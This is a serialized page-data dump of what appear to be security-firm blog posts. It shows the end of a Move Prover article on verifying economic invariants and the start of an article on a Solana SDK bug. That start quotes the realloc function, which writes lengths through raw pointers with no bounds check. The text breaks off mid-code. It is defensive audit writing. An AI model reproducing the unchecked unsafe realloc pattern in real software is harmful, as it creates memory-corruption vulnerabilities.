4;\n}\n",[15208],{"type":23,"tag":154,"props":15209,"children":15210},{"__ignoreMap":7},[15211,15227,15244,15251,15258,15273,15297],{"type":23,"tag":504,"props":15212,"children":15213},{"class":5016,"line":5017},[15214,15218,15223],{"type":23,"tag":504,"props":15215,"children":15216},{"style":5030},[15217],{"type":29,"value":11448},{"type":23,"tag":504,"props":15219,"children":15220},{"style":5467},[15221],{"type":29,"value":15222}," Type",{"type":23,"tag":504,"props":15224,"children":15225},{"style":5058},[15226],{"type":29,"value":5333},{"type":23,"tag":504,"props":15228,"children":15229},{"class":5016,"line":4868},[15230,15235,15239],{"type":23,"tag":504,"props":15231,"children":15232},{"style":5041},[15233],{"type":29,"value":15234},"    index",{"type":23,"tag":504,"props":15236,"children":15237},{"style":5047},[15238],{"type":29,"value":6533},{"type":23,"tag":504,"props":15240,"children":15241},{"style":5467},[15242],{"type":29,"value":15243}," u64\n",{"type":23,"tag":504,"props":15245,"children":15246},{"class":5016,"line":4876},[15247],{"type":23,"tag":504,"props":15248,"children":15249},{"style":5058},[15250],{"type":29,"value":5965},{"type":23,"tag":504,"props":15252,"children":15253},{"class":5016,"line":5099},[15254],{"type":23,"tag":504,"props":15255,"children":15256},{"emptyLinePlaceholder":15},[15257],{"type":29,"value":5734},{"type":23,"tag":504,"props":15259,"children":15260},{"class":5016,"line":5203},[15261,15265,15269],{"type":23,"tag":504,"props":15262,"children":15263},{"style":5041},[15264],{"type":29,"value":10320},{"type":23,"tag":504,"props":15266,"children":15267},{"style":5467},[15268],{"type":29,"value":15222},{"type":23,"tag":504,"props":15270,"children":15271},{"style":5058},[15272],{"type":29,"value":5333},{"type":23,"tag":504,"props":15274,"children":15275},{"class":5016,"line":5308},[15276,15280,15285,15289,15293],{"type":23,"tag":504,"props":15277,"children":15278},{"style":5041},[15279],{"type":29,"value":10337},{"type":23,"tag":504,"props":15281,"children":15282},{"style":5041},[15283],{"type":29,"value":15284}," index",{"type":23,"tag":504,"props":15286,"children":15287},{"style":5047},[15288],{"type":29,"value":10764},{"type":23,"tag":504,"props":15290,"children":15291},{"style":5083},[15292],{"type":29,"value":13791},{"type":23,"tag":504,"props":15294,"children":15295},{"style":5058},[15296],{"type":29,"value":5061},{"type":23,"tag":504,"props":15298,"children":15299},{"class":5016,"line":5336},[15300],{"type":23,"tag":504,"props":15301,"children":15302},{"style":5058},[15303],{"type":29,"value":5965},{"type":23,"tag":32,"props":15305,"children":15306},{},[15307,15309,15316,15317,15323],{"type":29,"value":15308},"We were able to verify more complex properties in our recent audits for ",{"type":23,"tag":68,"props":15310,"children":15313},{"href":15311,"rel":15312},"https://layerzero.network/",[72],[15314],{"type":29,"value":15315},"LayerZero",{"type":29,"value":4478},{"type":23,"tag":68,"props":15318,"children":15321},{"href":15319,"rel":15320},"http://ariesmarkets.xyz/",[72],[15322],{"type":29,"value":8834},{"type":29,"value":15324},", but the details are left as an exercise to the reader.",{"type":23,"tag":320,"props":15326,"children":15328},{"id":15327},"economic-invariants",[15329],{"type":29,"value":15330},"Economic Invariants.",{"type":23,"tag":32,"props":15332,"children":15333},{},[15334],{"type":29,"value":15335},"Proper economic invariants can require more creativity to come up with but can be extremely effective at securing your protocol.",{"type":23,"tag":32,"props":15337,"children":15338},{},[15339],{"type":29,"value":15340},"For example, you should never be able to drain coins from a pool by adding and removing shares. In practice, you might implement this as a utility helper function.",{"type":23,"tag":4743,"props":15342,"children":15343},{"code":10012,"language":5008,"meta":7,"className":5009,"style":7},[15344],{"type":23,"tag":154,"props":15345,"children":15346},{"__ignoreMap":7},[15347,15354,15437,15476,15495,15502,15517,15540,15563,15586],{"type":23,"tag":504,"props":15348,"children":15349},{"class":5016,"line":5017},[15350],{"type":23,"tag":504,"props":15351,"children":15352},{"style":5021},[15353],{"type":29,"value":10024},{"type":23,"tag":504,"props":15355,"children":15356},{"class":5016,"line":4868},[15357,15361,15365,15369,15373,15377,15381,15385,15389,15393,15397,15401,15405,15409,15413,15417,15421,15425,15429,15433],{"type":23,"tag":504,"props":15358,"children":15359},{"style":5041},[15360],{"type":29,"value":8613},{"type":23,"tag":504,"props":15362,"children":15363},{"style":5139},[15364],{"type":29,"value":10036},{"type":23,"tag":504,"props":15366,"children":15367},{"style":5058},[15368],{"type":29,"value":603},{"type":23,"tag":504,"props":15370,"children":15371},{"style":5041},[15372],{"type":29,"value":10045},{"type":23,"tag":504,"props":15374,"children":15375},{"style":5047},[15376],{"type":29,"value":6533},{"type":23,"tag":504,"props":15378,"children":15379},{"style":5467},[15380],{"type":29,"value":7905},{"type":23,"tag":504,"props":15382,"children":15383},{"style":5058},[15384],{"type":29,"value":4367},{"type":23,"tag":504,"props":15386,"children":15387},{"style":5041},[15388],{"type":29,"value":10062},{"type":23,"tag":504,"props":15390,"children":15391},{"style":5047},[15392],{"type":29,"value":6533},{"type":23,"tag":504,"props":15394,"children":15395},{"style":5467},[15396],{"type":29,"value":7905},{"type":23,"tag":504,"props":15398,"children":15399},{"style":5058},[15400],{"type":29,"value":933},{"type":23,"tag":504,"props":15402,"children":15403},{"style":5047},[15404],{"type":29,"value":6533},{"type":23,"tag":504,"props":15406,"children":15407},{"style":5058},[15408],{"type":29,"value":5110},{"type":23,"tag":504,"props":15410,"children":15411},{"style":5467},[15412],{"type":29,"value":10087},{"type":23,"tag":504,"props":15414,"children":15415},{"style":5058},[15416],{"type":29,"value":4367},{"type":23,"tag":504,"props":15418,"children":15419},{"style":5467},[15420],{"type":29,"value":10087},{"type":23,"tag":504,"props":15422,"children":15423},{"style":5058},[15424],{"type":29,"value":5128},{"type":23,"tag":504,"props":15426,"children":15427},{"style":5041},[15428],{"type":29,"value":8389},{"type":23,"tag":504,"props":15430,"children":15431},{"style":5467},[15432],{"type":29,"value":10108},{"type":23,"tag":504,"props":15434,"children":15435},{"style":5058},[15436],{"type":29,"value":5333},{"type":23,"tag":504,"props":15438,"children":15439},{"class":5016,"line":4876},[15440,15444,15448,15452,15456,15460,15464,15468,15472],{"type":23,"tag":504,"props":15441,"children":15442},{"style":5030},[15443],{"type":29,"value":10120},{"type":23,"tag":504,"props":15445,"children":15446},{"style":5041},[15447],{"type":29,"value":10125},{"type":23,"tag":504,"props":15449,"children":15450},{"style":5047},[15451],{"type":29,"value":5050},{"type":23,"tag":504,"props":15453,"children":15454},{"style":5139},[15455],{"type":29,"value":10134},{"type":23,"tag":504,"props":15457,"children":15458},{"style":5058},[15459],{"type":29,"value":603},{"type":23,"tag":504,"props":15461,"children":15462},{"style":5041},[15463],{"type":29,"value":10045},{"type":23,"tag":504,"props":15465,"children":15466},{"style":5058},[15467],{"type":29,"value":4367},{"type":23,"tag":504,"props":15469,"children":15470},{"style":5041},[15471],{"type":29,"value":10062},{"type":23,"tag":504,"props":15473,"children":15474},{"style":5058},[15475],{"type":29,"value":5888},{"type":23,"tag":504,"props":15477,"children":15478},{"class":5016,"line":5099},[15479,15483,15487,15491],{"type":23,"tag":504,"props":15480,"children":15481},{"style":5139},[15482],{"type":29,"value":10162},{"type":23,"tag":504,"props":15484,"children":15485},{"style":5058},[15486],{"type":29,"value":603},{"type":23,"tag":504,"props":15488,"children":15489},{"style":5041},[15490],{"type":29,"value":10171},{"type":23,"tag":504,"props":15492,"children":15493},{"style":5058},[15494],{"type":29,"value":5200},{"type":23,"tag":504,"props":15496,"children":15497},{"class":5016,"line":5203},[15498],{"type":23,"tag":504,"props":15499,"children":15500},{"style":5058},[15501],{"type":29,"value":7917},{"type":23,"tag":504,"props":15503,"children":15504},{"class":5016,"line":5308},[15505,15509,15513],{"type":23,"tag":504,"props":15506,"children":15507},{"style":5041},[15508],{"type":29,"value":10190},{"type":23,"tag":504,"props":15510,"children":15511},{"style":5041},[15512],{"type":29,"value":10036},{"type":23,"tag":504,"props":15514,"children":15515},{"style":5058},[15516],{"type":29,"value":5333},{"type":23,"tag":504,"props":15518,"children":15519},{"class":5016,"line":5336},[15520,15524,15528,15532,15536],{"type":23,"tag":504,"props":15521,"children":15522},{"style":5041},[15523],{"type":29,"value":10206},{"type":23,"tag":504,"props":15525,"children":15526},{"style":5041},[15527],{"type":29,"value":10211},{"type":23,"tag":504,"props":15529,"children":15530},{"style":5047},[15531],{"type":29,"value":546},{"type":23,"tag":504,"props":15533,"children":15534},{"style":5030},[15535],{"type":29,"value":10220},{"type":23,"tag":504,"props":15537,"children":15538},{"style":5058},[15539],{"type":29,"value":5061},{"type":23,"tag":504,"props":15541,"children":15542},{"class":5016,"line":5349},[15543,15547,15551,15555,15559],{"type":23,"tag":504,"props":15544,"children":15545},{"style":5041},[15546],{"type":29,"value":10232},{"type":23,"tag":504,"props":15548,"children":15549},{"style":5041},[15550],{"type":29,"value":10237},{"type":23,"tag":504,"props":15552,"children":15553},{"style":5047},[15554],{"type":29,"value":10242},{"type":23,"tag":504,"props":15556,"children":15557},{"style":5041},[15558],{"type":29,"value":10247},{"type":23,"tag":504,"props":15560,"children":15561},{"style":5058},[15562],{"type":29,"value":5061},{"type":23,"tag":504,"props":15564,"children":15565},{"class":5016,"line":5367},[15566,15570,15574,15578,15582],{"type":23,"tag":504,"props":15567,"children":15568},{"style":5041},[15569],{"type":29,"value":10232},{"type":23,"tag":504,"props":15571,"children":15572},{"style":5041},[15573],{"type":29,"value":10263},{"type":23,"tag":504,"props":15575,"children":15576},{"style":5047},[15577],{"type":29,"value":10242},{"type":23,"tag":504,"props":15579,"children":15580},{"style":5041},[15581],{"type":29,"value":10272},{"type":23,"tag":504,"props":15583,"children":15584},{"style":5058},[15585],{"type":29,"value":5061},{"type":23,"tag":504,"props":15587,"children":15588},{"class":5016,"line":5388},[15589],{"type":23,"tag":504,"props":15590,"children":15591},{"style":5058},[15592],{"type":29,"value":7917},{"type":23,"tag":32,"props":15594,"children":15595},{},[15596],{"type":29,"value":15597},"Some other ideas include",{"type":23,"tag":139,"props":15599,"children":15600},{},[15601,15606,15611],{"type":23,"tag":143,"props":15602,"children":15603},{},[15604],{"type":29,"value":15605},"Swapping through an AMM should never lead to a decrease in one side of the pool without also increasing the other side. In other words, no free money",{"type":23,"tag":143,"props":15607,"children":15608},{},[15609],{"type":29,"value":15610},"Lending protocols should always be fully collateralized after a series of deposit, borrow, and withdraw instructions.",{"type":23,"tag":143,"props":15612,"children":15613},{},[15614],{"type":29,"value":15615},"Orderbooks should never lose money after an order is placed and then canceled.",{"type":23,"tag":24,"props":15617,"children":15618},{"id":7353},[15619],{"type":29,"value":7356},{"type":23,"tag":32,"props":15621,"children":15622},{},[15623],{"type":29,"value":15624},"In this post, we've explored how to properly utilize the Move Prover to verify critical invariants about your codebase.",{"type":23,"tag":32,"props":15626,"children":15627},{},[15628],{"type":29,"value":15629},"In our upcoming posts, we will explore how to turn the Move Prover into a weapon for squashing security vulnerabilities by learning how to ask the right questions, so stay tuned!",{"type":23,"tag":32,"props":15631,"children":15632},{},[15633,15635,15640],{"type":29,"value":15634},"We're passionate about formal verification and pushing the edge of what's possible in Move security. If you have any thoughts, or would like to explore an audit, feel free to reach out to me ",{"type":23,"tag":68,"props":15636,"children":15638},{"href":11289,"rel":15637},[72],[15639],{"type":29,"value":11293},{"type":29,"value":357},{"type":23,"tag":7410,"props":15642,"children":15643},{},[15644],{"type":29,"value":7414},{"title":7,"searchDepth":4868,"depth":4868,"links":15646},[15647,15648,15651,15658],{"id":11352,"depth":4868,"text":11355},{"id":11406,"depth":4868,"text":11409,"children":15649},[15650],{"id":11656,"depth":4876,"text":11652},{"id":14555,"depth":4868,"text":14558,"children":15652},[15653,15654,15655,15656,15657],{"id":14571,"depth":4876,"text":14574},{"id":14822,"depth":4876,"text":14825},{"id":15127,"depth":4876,"text":15130},{"id":15164,"depth":4876,"text":15167},{"id":15327,"depth":4876,"text":15330},{"id":7353,"depth":4868,"text":7356},"content:blog:2022-09-16-move-prover.md","blog/2022-09-16-move-prover.md","blog/2022-09-16-move-prover",{"_path":15663,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":15664,"description":15665,"author":15666,"image":15667,"date":15670,"isFeatured":15,"onBlogPage":15,"tags":15671,"body":15672,"_type":4892,"_id":20793,"_source":4894,"_file":20794,"_stem":20795,"_extension":4897},"/blog/2022-12-09-rust-realloc-and-references","Rust, Realloc, and References","Rust is safe.. right? Not if your dependencies are unsafe.. A deep dive into a subtle Solana SDK bug, Rust internals, and how we found it all.","ethan",{"src":15668,"height":15669,"width":14},"/posts/rust-realloc-and-references/title.jpg",512,"2022-12-09",[4910,11317],{"type":20,"children":15673,"toc":20777},[15674,15702,15722,16392,16412,16423,16435,16568,16578,16584,16610,16951,16996,17323,17386,17399,17472,17540,17561,17574,17588,17937,17948,17953,18084,18135,18161,18173,18346,18482,18523,18560,18626,18631,18669,18723,18734,18877,18889,18895,18901,18934,18948,19070,19089,19117,19123,19213,19304,19310,19315,19362,19631,19706,19717,19744,20076,20088,20161,20434,20471,20773],{"type":23,"tag":32,"props":15675,"children":15676},{},[15677,15679,15685,15687,15692,15694,15700],{"type":29,"value":15678},"It all started with an audit of a program that used ",{"type":23,"tag":154,"props":15680,"children":15682},{"className":15681},[],[15683],{"type":29,"value":15684},"realloc",{"type":29,"value":15686}," on an account, without any bounds checks on the new size allowed. It seemed like the developers assumed that if the new size was too large, the ",{"type":23,"tag":154,"props":15688,"children":15690},{"className":15689},[],[15691],{"type":29,"value":15684},{"type":29,"value":15693}," call (from ",{"type":23,"tag":154,"props":15695,"children":15697},{"className":15696},[],[15698],{"type":29,"value":15699},"solana_program",{"type":29,"value":15701},") would error out appropriately.",{"type":23,"tag":32,"props":15703,"children":15704},{},[15705,15707,15713,15714,15721],{"type":29,"value":15706},"But we're not ones to just assume things around here, so let's take a look at how ",{"type":23,"tag":154,"props":15708,"children":15710},{"className":15709},[],[15711],{"type":29,"value":15712},"AccountInfo::realloc",{"type":29,"value":7546},{"type":23,"tag":68,"props":15715,"children":15718},{"href":15716,"rel":15717},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#124-148",[72],[15719],{"type":29,"value":15720},"implemented",{"type":29,"value":6533},{"type":23,"tag":4743,"props":15723,"children":15725},{"className":5009,"code":15724,"language":5008,"meta":7,"style":7},"pub fn realloc(&self, new_len: usize, zero_init: bool) -> Result\u003C(), ProgramError> {\n    let orig_len = self.data_len();\n\n    // realloc\n    unsafe {\n        // First set new length in the serialized data\n        let ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n        *ptr = new_len as u64;\n\n        // Then set the new length in the local slice\n        let ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n        *ptr = new_len as u64;\n    }\n\n    // zero-init if requested\n    if zero_init && new_len > orig_len {\n        sol_memset(\n            &mut self.try_borrow_mut_data()?[orig_len..],\n            0,\n            new_len.saturating_sub(orig_len),\n        );\n    }\n\n    Ok(())\n}\n",[15726],{"type":23,"tag":154,"props":15727,"children":15728},{"__ignoreMap":7},[15729,15823,15857,15864,15872,15884,15892,15984,16017,16024,16032,16162,16193,16200,16207,16215,16249,16261,16310,16322,16351,16358,16365,16372,16385],{"type":23,"tag":504,"props":15730,"children":15731},{"class":5016,"line":5017},[15732,15737,15742,15747,15751,15755,15760,15764,15769,15773,15778,15782,15787,15791,15795,15799,15804,15809,15814,15819],{"type":23,"tag":504,"props":15733,"children":15734},{"style":5030},[15735],{"type":29,"value":15736},"pub",{"type":23,"tag":504,"props":15738,"children":15739},{"style":5030},[15740],{"type":29,"value":15741}," fn",{"type":23,"tag":504,"props":15743,"children":15744},{"style":5139},[15745],{"type":29,"value":15746}," realloc",{"type":23,"tag":504,"props":15748,"children":15749},{"style":5058},[15750],{"type":29,"value":603},{"type":23,"tag":504,"props":15752,"children":15753},{"style":5047},[15754],{"type":29,"value":5151},{"type":23,"tag":504,"props":15756,"children":15757},{"style":5030},[15758],{"type":29,"value":15759},"self",{"type":23,"tag":504,"props":15761,"children":15762},{"style":5058},[15763],{"type":29,"value":4367},{"type":23,"tag":504,"props":15765,"children":15766},{"style":5041},[15767],{"type":29,"value":15768},"new_len",{"type":23,"tag":504,"props":15770,"children":15771},{"style":5047},[15772],{"type":29,"value":6533},{"type":23,"tag":504,"props":15774,"children":15775},{"style":5467},[15776],{"type":29,"value":15777}," usize",{"type":23,"tag":504,"props":15779,"children":15780},{"style":5058},[15781],{"type":29,"value":4367},{"type":23,"tag":504,"props":15783,"children":15784},{"style":5041},[15785],{"type":29,"value":15786},"zero_init",{"type":23,"tag":504,"props":15788,"children":15789},{"style":5047},[15790],{"type":29,"value":6533},{"type":23,"tag":504,"props":15792,"children":15793},{"style":5467},[15794],{"type":29,"value":14096},{"type":23,"tag":504,"props":15796,"children":15797},{"style":5058},[15798],{"type":29,"value":5128},{"type":23,"tag":504,"props":15800,"children":15801},{"style":5047},[15802],{"type":29,"value":15803},"->",{"type":23,"tag":504,"props":15805,"children":15806},{"style":5467},[15807],{"type":29,"value":15808}," Result",{"type":23,"tag":504,"props":15810,"children":15811},{"style":5058},[15812],{"type":29,"value":15813},"\u003C(), ",{"type":23,"tag":504,"props":15815,"children":15816},{"style":5467},[15817],{"type":29,"value":15818},"ProgramError",{"type":23,"tag":504,"props":15820,"children":15821},{"style":5058},[15822],{"type":29,"value":9325},{"type":23,"tag":504,"props":15824,"children":15825},{"class":5016,"line":4868},[15826,15830,15835,15839,15844,15848,15853],{"type":23,"tag":504,"props":15827,"children":15828},{"style":5030},[15829],{"type":29,"value":5033},{"type":23,"tag":504,"props":15831,"children":15832},{"style":5041},[15833],{"type":29,"value":15834}," orig_len",{"type":23,"tag":504,"props":15836,"children":15837},{"style":5047},[15838],{"type":29,"value":5050},{"type":23,"tag":504,"props":15840,"children":15841},{"style":5030},[15842],{"type":29,"value":15843}," self",{"type":23,"tag":504,"props":15845,"children":15846},{"style":5047},[15847],{"type":29,"value":357},{"type":23,"tag":504,"props":15849,"children":15850},{"style":5139},[15851],{"type":29,"value":15852},"data_len",{"type":23,"tag":504,"props":15854,"children":15855},{"style":5058},[15856],{"type":29,"value":5725},{"type":23,"tag":504,"props":15858,"children":15859},{"class":5016,"line":4876},[15860],{"type":23,"tag":504,"props":15861,"children":15862},{"emptyLinePlaceholder":15},[15863],{"type":29,"value":5734},{"type":23,"tag":504,"props":15865,"children":15866},{"class":5016,"line":5099},[15867],{"type":23,"tag":504,"props":15868,"children":15869},{"style":5021},[15870],{"type":29,"value":15871},"    // realloc\n",{"type":23,"tag":504,"props":15873,"children":15874},{"class":5016,"line":5203},[15875,15880],{"type":23,"tag":504,"props":15876,"children":15877},{"style":5030},[15878],{"type":29,"value":15879},"    unsafe",{"type":23,"tag":504,"props":15881,"children":15882},{"style":5058},[15883],{"type":29,"value":5333},{"type":23,"tag":504,"props":15885,"children":15886},{"class":5016,"line":5308},[15887],{"type":23,"tag":504,"props":15888,"children":15889},{"style":5021},[15890],{"type":29,"value":15891},"        // First set new length in the serialized data\n",{"type":23,"tag":504,"props":15893,"children":15894},{"class":5016,"line":5336},[15895,15899,15904,15908,15912,15916,15921,15926,15930,15935,15939,15943,15948,15952,15956,15960,15964,15968,15972,15976,15980],{"type":23,"tag":504,"props":15896,"children":15897},{"style":5030},[15898],{"type":29,"value":5105},{"type":23,"tag":504,"props":15900,"children":15901},{"style":5041},[15902],{"type":29,"value":15903}," ptr",{"type":23,"tag":504,"props":15905,"children":15906},{"style":5047},[15907],{"type":29,"value":5050},{"type":23,"tag":504,"props":15909,"children":15910},{"style":5030},[15911],{"type":29,"value":15843},{"type":23,"tag":504,"props":15913,"children":15914},{"style":5047},[15915],{"type":29,"value":357},{"type":23,"tag":504,"props":15917,"children":15918},{"style":5139},[15919],{"type":29,"value":15920},"try_borrow_mut_data",{"type":23,"tag":504,"props":15922,"children":15923},{"style":5058},[15924],{"type":29,"value":15925},"()",{"type":23,"tag":504,"props":15927,"children":15928},{"style":5047},[15929],{"type":29,"value":5173},{"type":23,"tag":504,"props":15931,"children":15932},{"style":5139},[15933],{"type":29,"value":15934},"as_mut_ptr",{"type":23,"tag":504,"props":15936,"children":15937},{"style":5058},[15938],{"type":29,"value":15925},{"type":23,"tag":504,"props":15940,"children":15941},{"style":5047},[15942],{"type":29,"value":357},{"type":23,"tag":504,"props":15944,"children":15945},{"style":5139},[15946],{"type":29,"value":15947},"offset",{"type":23,"tag":504,"props":15949,"children":15950},{"style":5058},[15951],{"type":29,"value":603},{"type":23,"tag":504,"props":15953,"children":15954},{"style":5047},[15955],{"type":29,"value":6368},{"type":23,"tag":504,"props":15957,"children":15958},{"style":5083},[15959],{"type":29,"value":6124},{"type":23,"tag":504,"props":15961,"children":15962},{"style":5058},[15963],{"type":29,"value":5128},{"type":23,"tag":504,"props":15965,"children":15966},{"style":5030},[15967],{"type":29,"value":10887},{"type":23,"tag":504,"props":15969,"children":15970},{"style":5047},[15971],{"type":29,"value":11863},{"type":23,"tag":504,"props":15973,"children":15974},{"style":5030},[15975],{"type":29,"value":5783},{"type":23,"tag":504,"props":15977,"children":15978},{"style":5467},[15979],{"type":29,"value":7905},{"type":23,"tag":504,"props":15981,"children":15982},{"style":5058},[15983],{"type":29,"value":5061},{"type":23,"tag":504,"props":15985,"children":15986},{"class":5016,"line":5349},[15987,15991,15996,16000,16005,16009,16013],{"type":23,"tag":504,"props":15988,"children":15989},{"style":5047},[15990],{"type":29,"value":9796},{"type":23,"tag":504,"props":15992,"children":15993},{"style":5041},[15994],{"type":29,"value":15995},"ptr",{"type":23,"tag":504,"props":15997,"children":15998},{"style":5047},[15999],{"type":29,"value":5050},{"type":23,"tag":504,"props":16001,"children":16002},{"style":5041},[16003],{"type":29,"value":16004}," new_len",{"type":23,"tag":504,"props":16006,"children":16007},{"style":5030},[16008],{"type":29,"value":10873},{"type":23,"tag":504,"props":16010,"children":16011},{"style":5467},[16012],{"type":29,"value":7905},{"type":23,"tag":504,"props":16014,"children":16015},{"style":5058},[16016],{"type":29,"value":5061},{"type":23,"tag":504,"props":16018,"children":16019},{"class":5016,"line":5367},[16020],{"type":23,"tag":504,"props":16021,"children":16022},{"emptyLinePlaceholder":15},[16023],{"type":29,"value":5734},{"type":23,"tag":504,"props":16025,"children":16026},{"class":5016,"line":5388},[16027],{"type":23,"tag":504,"props":16028,"children":16029},{"style":5021},[16030],{"type":29,"value":16031},"        // Then set the new length in the local slice\n",{"type":23,"tag":504,"props":16033,"children":16034},{"class":5016,"line":5397},[16035,16039,16043,16047,16051,16055,16059,16064,16068,16072,16076,16080,16085,16090,16094,16098,16102,16106,16110,16114,16118,16122,16126,16130,16134,16138,16142,16146,16150,16154,16158],{"type":23,"tag":504,"props":16036,"children":16037},{"style":5030},[16038],{"type":29,"value":5105},{"type":23,"tag":504,"props":16040,"children":16041},{"style":5041},[16042],{"type":29,"value":15903},{"type":23,"tag":504,"props":16044,"children":16045},{"style":5047},[16046],{"type":29,"value":5050},{"type":23,"tag":504,"props":16048,"children":16049},{"style":5047},[16050],{"type":29,"value":9185},{"type":23,"tag":504,"props":16052,"children":16053},{"style":5030},[16054],{"type":29,"value":5783},{"type":23,"tag":504,"props":16056,"children":16057},{"style":5047},[16058],{"type":29,"value":11863},{"type":23,"tag":504,"props":16060,"children":16061},{"style":5058},[16062],{"type":29,"value":16063},"(((",{"type":23,"tag":504,"props":16065,"children":16066},{"style":5030},[16067],{"type":29,"value":15759},{"type":23,"tag":504,"props":16069,"children":16070},{"style":5047},[16071],{"type":29,"value":357},{"type":23,"tag":504,"props":16073,"children":16074},{"style":5058},[16075],{"type":29,"value":5761},{"type":23,"tag":504,"props":16077,"children":16078},{"style":5047},[16079],{"type":29,"value":357},{"type":23,"tag":504,"props":16081,"children":16082},{"style":5139},[16083],{"type":29,"value":16084},"as_ptr",{"type":23,"tag":504,"props":16086,"children":16087},{"style":5058},[16088],{"type":29,"value":16089},"() ",{"type":23,"tag":504,"props":16091,"children":16092},{"style":5030},[16093],{"type":29,"value":10887},{"type":23,"tag":504,"props":16095,"children":16096},{"style":5047},[16097],{"type":29,"value":11863},{"type":23,"tag":504,"props":16099,"children":16100},{"style":5030},[16101],{"type":29,"value":11701},{"type":23,"tag":504,"props":16103,"children":16104},{"style":5467},[16105],{"type":29,"value":7905},{"type":23,"tag":504,"props":16107,"children":16108},{"style":5058},[16109],{"type":29,"value":933},{"type":23,"tag":504,"props":16111,"children":16112},{"style":5047},[16113],{"type":29,"value":357},{"type":23,"tag":504,"props":16115,"children":16116},{"style":5139},[16117],{"type":29,"value":15947},{"type":23,"tag":504,"props":16119,"children":16120},{"style":5058},[16121],{"type":29,"value":603},{"type":23,"tag":504,"props":16123,"children":16124},{"style":5083},[16125],{"type":29,"value":826},{"type":23,"tag":504,"props":16127,"children":16128},{"style":5058},[16129],{"type":29,"value":5128},{"type":23,"tag":504,"props":16131,"children":16132},{"style":5030},[16133],{"type":29,"value":10887},{"type":23,"tag":504,"props":16135,"children":16136},{"style":5467},[16137],{"type":29,"value":7905},{"type":23,"tag":504,"props":16139,"children":16140},{"style":5058},[16141],{"type":29,"value":5128},{"type":23,"tag":504,"props":16143,"children":16144},{"style":5030},[16145],{"type":29,"value":10887},{"type":23,"tag":504,"props":16147,"children":16148},{"style":5047},[16149],{"type":29,"value":11863},{"type":23,"tag":504,"props":16151,"children":16152},{"style":5030},[16153],{"type":29,"value":5783},{"type":23,"tag":504,"props":16155,"children":16156},{"style":5467},[16157],{"type":29,"value":7905},{"type":23,"tag":504,"props":16159,"children":16160},{"style":5058},[16161],{"type":29,"value":5888},{"type":23,"tag":504,"props":16163,"children":16164},{"class":5016,"line":5649},[16165,16169,16173,16177,16181,16185,16189],{"type":23,"tag":504,"props":16166,"children":16167},{"style":5047},[16168],{"type":29,"value":9796},{"type":23,"tag":504,"props":16170,"children":16171},{"style":5041},[16172],{"type":29,"value":15995},{"type":23,"tag":504,"props":16174,"children":16175},{"style":5047},[16176],{"type":29,"value":5050},{"type":23,"tag":504,"props":16178,"children":16179},{"style":5041},[16180],{"type":29,"value":16004},{"type":23,"tag":504,"props":16182,"children":16183},{"style":5030},[16184],{"type":29,"value":10873},{"type":23,"tag":504,"props":16186,"children":16187},{"style":5467},[16188],{"type":29,"value":7905},{"type":23,"tag":504,"props":16190,"children":16191},{"style":5058},[16192],{"type":29,"value":5061},{"type":23,"tag":504,"props":16194,"children":16195},{"class":5016,"line":5666},[16196],{"type":23,"tag":504,"props":16197,"children":16198},{"style":5058},[16199],{"type":29,"value":5403},{"type":23,"tag":504,"props":16201,"children":16202},{"class":5016,"line":5683},[16203],{"type":23,"tag":504,"props":16204,"children":16205},{"emptyLinePlaceholder":15},[16206],{"type":29,"value":5734},{"type":23,"tag":504,"props":16208,"children":16209},{"class":5016,"line":5696},[16210],{"type":23,"tag":504,"props":16211,"children":16212},{"style":5021},[16213],{"type":29,"value":16214},"    // zero-init if requested\n",{"type":23,"tag":504,"props":16216,"children":16217},{"class":5016,"line":5705},[16218,16222,16227,16232,16236,16241,16245],{"type":23,"tag":504,"props":16219,"children":16220},{"style":5067},[16221],{"type":29,"value":14325},{"type":23,"tag":504,"props":16223,"children":16224},{"style":5041},[16225],{"type":29,"value":16226}," zero_init",{"type":23,"tag":504,"props":16228,"children":16229},{"style":5047},[16230],{"type":29,"value":16231}," &&",{"type":23,"tag":504,"props":16233,"children":16234},{"style":5041},[16235],{"type":29,"value":16004},{"type":23,"tag":504,"props":16237,"children":16238},{"style":5047},[16239],{"type":29,"value":16240}," >",{"type":23,"tag":504,"props":16242,"children":16243},{"style":5041},[16244],{"type":29,"value":15834},{"type":23,"tag":504,"props":16246,"children":16247},{"style":5058},[16248],{"type":29,"value":5333},{"type":23,"tag":504,"props":16250,"children":16251},{"class":5016,"line":5728},[16252,16257],{"type":23,"tag":504,"props":16253,"children":16254},{"style":5139},[16255],{"type":29,"value":16256},"        sol_memset",{"type":23,"tag":504,"props":16258,"children":16259},{"style":5058},[16260],{"type":29,"value":5512},{"type":23,"tag":504,"props":16262,"children":16263},{"class":5016,"line":5737},[16264,16268,16272,16276,16280,16284,16288,16292,16296,16301,16305],{"type":23,"tag":504,"props":16265,"children":16266},{"style":5047},[16267],{"type":29,"value":9729},{"type":23,"tag":504,"props":16269,"children":16270},{"style":5030},[16271],{"type":29,"value":5783},{"type":23,"tag":504,"props":16273,"children":16274},{"style":5030},[16275],{"type":29,"value":15843},{"type":23,"tag":504,"props":16277,"children":16278},{"style":5047},[16279],{"type":29,"value":357},{"type":23,"tag":504,"props":16281,"children":16282},{"style":5139},[16283],{"type":29,"value":15920},{"type":23,"tag":504,"props":16285,"children":16286},{"style":5058},[16287],{"type":29,"value":15925},{"type":23,"tag":504,"props":16289,"children":16290},{"style":5047},[16291],{"type":29,"value":5195},{"type":23,"tag":504,"props":16293,"children":16294},{"style":5058},[16295],{"type":29,"value":1380},{"type":23,"tag":504,"props":16297,"children":16298},{"style":5041},[16299],{"type":29,"value":16300},"orig_len",{"type":23,"tag":504,"props":16302,"children":16303},{"style":5047},[16304],{"type":29,"value":5091},{"type":23,"tag":504,"props":16306,"children":16307},{"style":5058},[16308],{"type":29,"value":16309},"],\n",{"type":23,"tag":504,"props":16311,"children":16312},{"class":5016,"line":5746},[16313,16318],{"type":23,"tag":504,"props":16314,"children":16315},{"style":5083},[16316],{"type":29,"value":16317},"            0",{"type":23,"tag":504,"props":16319,"children":16320},{"style":5058},[16321],{"type":29,"value":5557},{"type":23,"tag":504,"props":16323,"children":16324},{"class":5016,"line":5813},[16325,16330,16334,16339,16343,16347],{"type":23,"tag":504,"props":16326,"children":16327},{"style":5041},[16328],{"type":29,"value":16329},"            